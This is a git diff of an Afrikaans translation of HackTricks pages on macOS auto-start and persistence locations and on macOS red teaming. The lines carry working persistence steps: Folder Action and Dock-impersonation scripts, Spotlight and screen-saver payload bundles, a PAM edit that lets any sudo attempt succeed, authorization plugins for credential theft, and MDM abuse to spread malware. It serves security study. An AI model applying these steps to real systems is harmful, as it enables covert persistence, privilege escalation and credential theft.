Na die skrip is saamgestel, stel Folder-aksies op deur die onderstaande skrip uit te voer. Hierdie skrip sal Folder-aksies wêreldwyd aktiveer en spesifiek die vroeër saamgestelde skrip aan die Skermblad-knipsel te heg.
|
||||
Na die skrip is saamgestel, stel Folder-aksies op deur die onderstaande skrip uit te voer. Hierdie skrip sal Folder-aksies wêreldwyd aktiveer en spesifiek die vroeër saamgestelde skrip aan die Skermblad-knipsel koppel.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -786,9 +784,9 @@ Voer die opstellingskrip uit met:
|
|||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* Hierdie is die manier om volharding via GUI te implementeer:
|
||||
* Hierdie is die manier om volharding te implementeer via GUI:
|
||||
|
||||
Dit is die skrips wat uitgevoer sal word:
|
||||
Hierdie is die skrip wat uitgevoer sal word:
|
||||
|
||||
{% code title="source.js" %}
|
||||
```applescript
|
||||
|
@ -801,18 +799,18 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kompileer dit met: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
Kompilieer dit met: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
Skuif dit na:
|
||||
```bash
|
||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
Dan, open die `Folder Actions Setup`-toep, kies die **map wat jy wil dophou** en kies in jou geval **`folder.scpt`** (in my geval het ek dit output2.scp genoem):
|
||||
Dan, open die `Folder Actions Setup`-toep, kies die **gids wat jy wil dophou** en kies in jou geval **`folder.scpt`** (in my geval het ek dit output2.scp genoem):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Nou, as jy daardie map met **Finder** oopmaak, sal jou skripsie uitgevoer word.
|
||||
Nou, as jy daardie gids met **Finder** oopmaak, sal jou skripsie uitgevoer word.
|
||||
|
||||
Hierdie konfigurasie is gestoor in die **plist** wat in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64-formaat geleë is.
|
||||
|
||||
|
@ -820,14 +818,14 @@ Nou, laat ons probeer om hierdie volharding sonder GUI-toegang voor te berei:
|
|||
|
||||
1. **Kopieer `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** na `/tmp` om dit te rugsteun:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Verwyder** die Folder Actions wat jy net ingestel het:
|
||||
2. **Verwyder** die Gidsaksies wat jy net ingestel het:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nou dat ons 'n leë omgewing het
|
||||
|
||||
3. Kopieer die rugsteunlêer: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. Maak die Folder Actions Setup-toep oop om hierdie konfigurasie te verbruik: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
4. Maak die Folder Actions Setup-toep oop om hierdie konfigurasie te gebruik: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
|
||||
|
@ -838,19 +836,19 @@ En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
|
|||
Skrywe: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar jy moet 'n skadelike aansoek binne die stelsel geïnstalleer hê
|
||||
* Maar jy moet 'n skadelike toepassing binne die stelsel geïnstalleer hê
|
||||
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ligging
|
||||
|
||||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **Trigger**: Wanneer die gebruiker op die aansoek binne die dock klik
|
||||
* **Trigger**: Wanneer die gebruiker op die toep kliek binne die aanwysers
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Al die aansoeke wat in die Dock verskyn, word gespesifiseer binne die plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Al die toepassings wat in die Dock verskyn, word gespesifiseer binne die plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Dit is moontlik om **'n aansoek by te voeg** net met:
|
||||
Dit is moontlik om **'n toepassing by te voeg** net met:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -862,7 +860,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld **Google Chrome naboots binne die dock en jou eie skrip uitvoer:**
|
||||
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld **Google Chrome naboots in die dok en jou eie skrip uitvoer:**
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -934,7 +932,7 @@ Skryf: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.git
|
|||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
**Stel 'n kleurkieser** bundel saam met jou kode (jy kan [**hierdie een byvoorbeeld**](https://github.com/viktorstrate/color-picker-plus) gebruik) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
|
||||
**Kompileer 'n kleurkieser** bundel met jou kode (jy kan byvoorbeeld [**hierdie een gebruik**](https://github.com/viktorstrate/color-picker-plus)) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
|
||||
|
||||
Dan, wanneer die kleurkieser geaktiveer word, moet jou kode ook geaktiveer word.
|
||||
|
||||
|
@ -992,13 +990,13 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **Trigger**: Kies die skermbeveiliging
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Skep 'n nuwe projek in Xcode en kies die templaat om 'n nuwe **Skermbeveiliging** te genereer. Voeg dan jou kode daaraan toe, byvoorbeeld die volgende kode om logboeke te genereer.
|
||||
|
||||
**Bou** dit, en kopieer die `.saver` bundel na **`~/Library/Screen Savers`**. Maak dan die Skermbeveiliging GUI oop en as jy net daarop klik, behoort dit 'n hele klomp logboeke te genereer:
|
||||
**Bou** dit, en kopieer die `.saver` bundel na **`~/Library/Screen Savers`**. Maak dan die Skermbeveiliging GUI oop en as jy net daarop klik, behoort dit baie logboeke te genereer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1093,15 +1091,15 @@ skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit
|
|||
#### Plek
|
||||
|
||||
* `~/Library/Spotlight/`
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
|
||||
* `/Library/Spotlight/`
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de inprop van die spotlight bestuur, word geskep.
|
||||
* Wortel nodig
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
|
||||
* Wortel nodig
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
|
||||
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
|
||||
* Nuwe aansoek nodig
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
@ -1109,7 +1107,7 @@ skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit
|
|||
Spotlight is macOS se ingeboude soekfunksie, ontwerp om gebruikers **vinnige en omvattende toegang tot data op hul rekenaars** te bied.\
|
||||
Om hierdie vinnige soekvermoë te fasiliteer, handhaaf Spotlight 'n **eiendomlike databasis** en skep 'n indeks deur **meeste lêers te ontleden**, wat vinnige soektogte deur beide lêernaam en hul inhoud moontlik maak.
|
||||
|
||||
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir **'metadata-bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Daar is ook verskeie 'mdworker'-demone wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of **".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n uiteenlopende reeks lêerformate te verstaan en te indekseer.
|
||||
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir **'metadata bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Daar is ook verskeie 'mdworker' duiwels wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of **".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n diverse reeks lêerformate te verstaan en te indekseer.
|
||||
|
||||
Die inproppe of **`.mdimporter`** bundels is geleë op die vooraf genoemde plekke en as 'n nuwe bundel verskyn, word dit binne minute gelaai (geen diens herlaaiing nodig nie). Hierdie bundels moet aandui watter **lêertipe en uitbreidings hulle kan bestuur**, op hierdie manier sal Spotlight hulle gebruik wanneer 'n nuwe lêer met die aangeduide uitbreiding geskep word.
|
||||
|
||||
|
@ -1159,26 +1157,26 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
As jy die Plist van ander `mdimporter` nagaan, mag jy nie die inskrywing **`UTTypeConformsTo`** vind nie. Dit is omdat dit 'n ingeboude _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) is en dit hoef nie uitbreidings te spesifiseer nie.
|
||||
As jy die Plist van ander `mdimporter` nagaan, mag jy nie die inskrywing **`UTTypeConformsTo`** vind nie. Dit is omdat dit 'n ingeboude _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) is en dit hoef nie lêerspesifikasies te spesifiseer nie.
|
||||
|
||||
Verder, neem stelselverstekkers altyd voorrang, so 'n aanvaller kan slegs by lêers kom wat nie andersins deur Apple se eie `mdimporters` geïndekseer word nie.
|
||||
Verder het stelselverstekproppe altyd voorrang, so 'n aanvaller kan slegs by lêers kom wat nie andersins deur Apple se eie `mdimporters` geïndekseer word nie.
|
||||
{% endhint %}
|
||||
|
||||
Om jou eie invoerder te skep, kan jy begin met hierdie projek: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) en dan die naam verander, die **`CFBundleDocumentTypes`** verander en **`UTImportedTypeDeclarations`** byvoeg sodat dit die uitbreiding ondersteun wat jy wil ondersteun en reflekteer dit in **`schema.xml`**.\
|
||||
Verander dan die kode van die funksie **`GetMetadataForFile`** om jou lading uit te voer wanneer 'n lêer met die verwerkte uitbreiding geskep word.
|
||||
Om jou eie invoerder te skep, kan jy met hierdie projek begin: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) en dan die naam verander, die **`CFBundleDocumentTypes`** verander en **`UTImportedTypeDeclarations`** byvoeg sodat dit die lêerspesifikasies ondersteun wat jy wil ondersteun en dit in **`schema.xml`** weerspieël.\
|
||||
Verander dan die kode van die funksie **`GetMetadataForFile`** om jou lading uit te voer wanneer 'n lêer met die verwerkte lêerspesifikasie geskep word.
|
||||
|
||||
Laastens **bou en kopieer jou nuwe `.mdimporter`** na een van die vorige liggings en jy kan nagaan wanneer dit gelaai word deur die **logs te monitor** of deur **`mdimport -L.`** te kontroleer.
|
||||
Laastens **bou en kopieer jou nuwe `.mdimporter`** na een van die vorige liggings en jy kan nagaan wanneer dit gelaai word deur die **logs te monitor** of deur **`mdimport -L`** te kontroleer.
|
||||
|
||||
### ~~Voorkeurpaneel~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dit lyk nie of dit meer werk nie.
|
||||
Dit lyk nie of dit nog werk nie.
|
||||
{% endhint %}
|
||||
|
||||
Verslag: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
||||
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Dit vereis 'n spesifieke gebruikersaksie
|
||||
* Dit vereis 'n spesifieke gebruikeraksie
|
||||
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ligging
|
||||
|
@ -1189,7 +1187,7 @@ Verslag: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
|
||||
#### Beskrywing
|
||||
|
||||
Dit lyk nie of dit meer werk nie.
|
||||
Dit lyk nie of dit nog werk nie.
|
||||
|
||||
## Root Sandboks Omseiling
|
||||
|
||||
|
@ -1217,7 +1215,6 @@ Verslag: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Die periodieke skripte (**`/etc/periodic`**) word uitgevoer as gevolg van die **aanvangsdemone** wat gekonfigureer is in `/System/Library/LaunchDaemons/com.apple.periodic*`. Let daarop dat skripte wat in `/etc/periodic/` gestoor word, as die **eienaar van die lêer** uitgevoer word, so dit sal nie werk vir 'n potensiële voorregskalering nie.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
|
@ -1261,7 +1258,7 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
Indien jy enige van die lêers `/etc/daily.local`, `/etc/weekly.local` of `/etc/monthly.local` kan skryf, sal dit **vroeër of later uitgevoer word**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat die periodieke skrip as die eienaar van die skrip **uitgevoer sal word**. As 'n gewone gebruiker die skrip besit, sal dit as daardie gebruiker uitgevoer word (dit kan bevoorregtingaanvalle voorkom).
|
||||
Let daarop dat die periodieke skripsie **uitgevoer sal word as die eienaar van die skripsie**. As 'n gewone gebruiker die skripsie besit, sal dit as daardie gebruiker uitgevoer word (dit kan voorregskaleringaanvalle voorkom).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1285,7 +1282,7 @@ Kontroleer PAM-modules met:
|
|||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
'n Volharding/privilege-escalation tegniek wat PAM misbruik is so maklik soos om die module /etc/pam.d/sudo te wysig deur die volgende lyn aan die begin toe te voeg:
|
||||
'n Volharding/privilege-escalation tegniek wat PAM misbruik is so maklik soos om die module /etc/pam.d/sudo te wysig deur die lyn aan die begin by te voeg:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1303,7 +1300,7 @@ session required pam_permit.so
|
|||
En dus sal enige poging om **`sudo` te gebruik** werk.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let wel dat hierdie gids beskerm word deur TCC, so dit is baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
|
||||
Let wel dat hierdie gids deur TCC beskerm word, so dit is baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
|
||||
{% endhint %}
|
||||
|
||||
### Magtigingsinvoegtoepassings
|
||||
|
@ -1313,7 +1310,7 @@ Verslag: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Maar jy moet 'n root wees en ekstra konfigurasies maak
|
||||
* TCC omseiling: ???
|
||||
* TCC-omseiling: ???
|
||||
|
||||
#### Ligging
|
||||
|
||||
|
@ -1323,7 +1320,7 @@ Verslag: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Jy kan 'n magtigingsinvoegtoepassing skep wat uitgevoer sal word wanneer 'n gebruiker aanmeld om volharding te behou. Vir meer inligting oor hoe om een van hierdie invoegtoepassings te skep, kyk na die vorige verslae (en wees versigtig, 'n swak geskrewe een kan jou uitsluit en jy sal jou Mac van herstelmodus moet skoonmaak).
|
||||
Jy kan 'n magtigingsinvoegtoepassing skep wat uitgevoer sal word wanneer 'n gebruiker aanmeld om volharding te behou. Vir meer inligting oor hoe om een van hierdie invoegtoepassings te skep, kyk na die vorige verslae (en wees versigtig, 'n swak geskrewe een kan jou buite sluit en jy sal jou Mac van herstelmodus moet skoonmaak).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1428,7 +1425,7 @@ Dan, indien nodig, om seker te maak dat die bediener gestart sal word, kan jy ui
|
|||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
Voorbeeld van kode vir die Dylb:
|
||||
Kodevoorbeeld vir die Dylb:
|
||||
```objectivec
|
||||
#include <stdio.h>
|
||||
#include <syslog.h>
|
||||
|
@ -1444,8 +1441,8 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Maar jy moet 'n root wees, auditd moet loop en 'n waarskuwing veroorsaak
|
||||
* Nuttig om sander te omseil: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Maar jy moet 'n hoofgebruiker wees, auditd moet loop en 'n waarskuwing veroorsaak
|
||||
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Plek
|
||||
|
@ -1468,10 +1465,10 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
|
||||
Die **StartupItem** is 'n gids wat binne of `/Library/StartupItems/` of `/System/Library/StartupItems/` geplaas moet word. Nadat hierdie gids gevestig is, moet dit twee spesifieke lêers insluit:
|
||||
|
||||
1. 'n **rc-skrip**: 'n skulpskrip wat by aanvang uitgevoer word.
|
||||
1. 'n **rc-skrip**: 'n skulpskrip wat by opstart uitgevoer word.
|
||||
2. 'n **plist-lêer**, spesifiek genoem `StartupParameters.plist`, wat verskeie konfigurasie-instellings bevat.
|
||||
|
||||
Maak seker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek binne die **StartupItem**-gids geplaas word sodat die aanvangsproses hulle kan herken en gebruik.
|
||||
Maak seker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek binne die **StartupItem**-gids geplaas word sodat die opstartproses hulle kan herken en gebruik.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1494,17 +1491,9 @@ Maak seker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
### superservicename
|
||||
### Superdiensnaam
|
||||
|
||||
Hierdie diens is 'n kritieke diens wat deur die stelsel self geaktiveer word. Dit is 'n goeie plek om 'n skadelike toepassing te verberg, aangesien dit moeilik is om te vind en te verwyder.
|
||||
Die volgende is die pad na die superservicename:
|
||||
|
||||
- `/System/Library/LaunchDaemons/superservicename.plist`
|
||||
- `/Library/LaunchDaemons/superservicename.plist`
|
||||
- `/Library/LaunchAgents/superservicename.plist`
|
||||
- `/System/Library/LaunchAgents/superservicename.plist`
|
||||
|
||||
Dit is belangrik om hierdie plekke te monitor en te verseker dat daar geen verdagte dienste hardloop nie.
|
||||
Hierdie diens is 'n kritieke diens wat outomaties begin wanneer die stelsel opgestart word. Dit kan 'n potensiële aanvalsoppervlak wees as dit nie behoorlik beheer word nie. Dit is belangrik om die nodige maatreëls te tref om te verseker dat slegs goedgekeurde dienste outomaties begin by die aanvang van die stelsel.
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -1535,7 +1524,7 @@ Ek kan hierdie komponent nie in my macOS vind nie, vir meer inligting kyk na die
|
|||
|
||||
Skryfstuk: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Deur Apple geïntroduceer, **emond** is 'n loggingsmeganisme wat lyk of dit onderontwikkel is of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiele volhardingsmetode vir bedreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
|
||||
Deur Apple geïntroduceer, is **emond** 'n loggingsmeganisme wat lyk of dit onderontwikkel of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiel volhardingsmetode vir bedreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
|
||||
|
||||
Vir diegene wat bewus is van sy bestaan, is dit maklik om enige skadelike gebruik van **emond** te identifiseer. Die stelsel se LaunchDaemon vir hierdie diens soek skripte om in 'n enkele gids uit te voer. Om dit te inspekteer, kan die volgende bevel gebruik word:
|
||||
```bash
|
||||
|
@ -1558,12 +1547,12 @@ XQuartz is **nie meer geïnstalleer in macOS nie**, soek vir meer inligting in d
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dit is so ingewikkeld om kext selfs as root te installeer dat ek dit nie sal oorweeg om uit sandbokse te ontsnap of selfs vir volharding nie (tensy jy 'n uitbuiting het)
|
||||
Dit is so ingewikkeld om kext selfs as root te installeer dat ek dit nie sal oorweeg om uit sandbokse te ontsnap of vir volharding nie (tensy jy 'n uitbuiting het)
|
||||
{% endhint %}
|
||||
|
||||
#### Plek
|
||||
|
||||
Om 'n KEXT as 'n aanvangsitem te installeer, moet dit **geïnstalleer word in een van die volgende plekke**:
|
||||
Om 'n KEXT as 'n aanvangsitem te installeer, moet dit in een van die volgende plekke geïnstalleer word:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* KEXT-lêers wat in die OS X-bedryfstelsel ingebou is.
|
||||
|
@ -1607,7 +1596,7 @@ Verslag: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### Beskrywing & uitbuiting
|
||||
|
||||
Dit blyk nie baie algemeen te wees om hierdie skrip uit te voer en ek kon dit selfs nie in my macOS vind nie, so as jy meer inligting wil hê, kyk na die verslag.
|
||||
Dit blyk nie baie algemeen te wees om hierdie skrip uit te voer nie en ek kon dit selfs nie in my macOS vind nie, so as jy meer inligting wil hê, kyk na die verslag.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1719,9 +1708,9 @@ esac
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Rooi-span
|
||||
# macOS Rooi-spanning
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,50 +19,50 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
As jy daarin slaag om **administratiewe legitimasie te kompromitteer** om toegang tot die bestuursplatform te verkry, kan jy **moontlik alle rekenaars kompromitteer** deur jou kwaadwillige sagteware op die masjiene te versprei.
|
||||
As jy daarin slaag om **administrateurskredentiale te kompromiteer** om toegang tot die bestuursplatform te verkry, kan jy moontlik al die rekenaars **kompromiteer deur jou malware in die masjiene te versprei**.
|
||||
|
||||
Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n basiese begrip van hoe die MDM's werk te hê:
|
||||
Vir rooi-spanning in MacOS-omgewings word dit sterk aanbeveel om 'n begrip te hê van hoe die MDM's werk:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MDM gebruik as 'n C2
|
||||
### MDM as 'n C2 gebruik
|
||||
|
||||
'n MDM het toestemming om profiele te installeer, navrae te doen of te verwyder, programme te installeer, plaaslike administrateursrekeninge te skep, firmware-wagwoord te stel, die FileVault-sleutel te verander...
|
||||
'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, aansoeke te installeer, plaaslike administrateursrekeninge te skep, firmwarewagwoorde in te stel, die FileVault-sleutel te verander...
|
||||
|
||||
Om jou eie MDM te laat loop, moet jy **jou CSR deur 'n verskaffer laat onderteken** wat jy kan probeer kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple-toestelle te laat loop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
|
||||
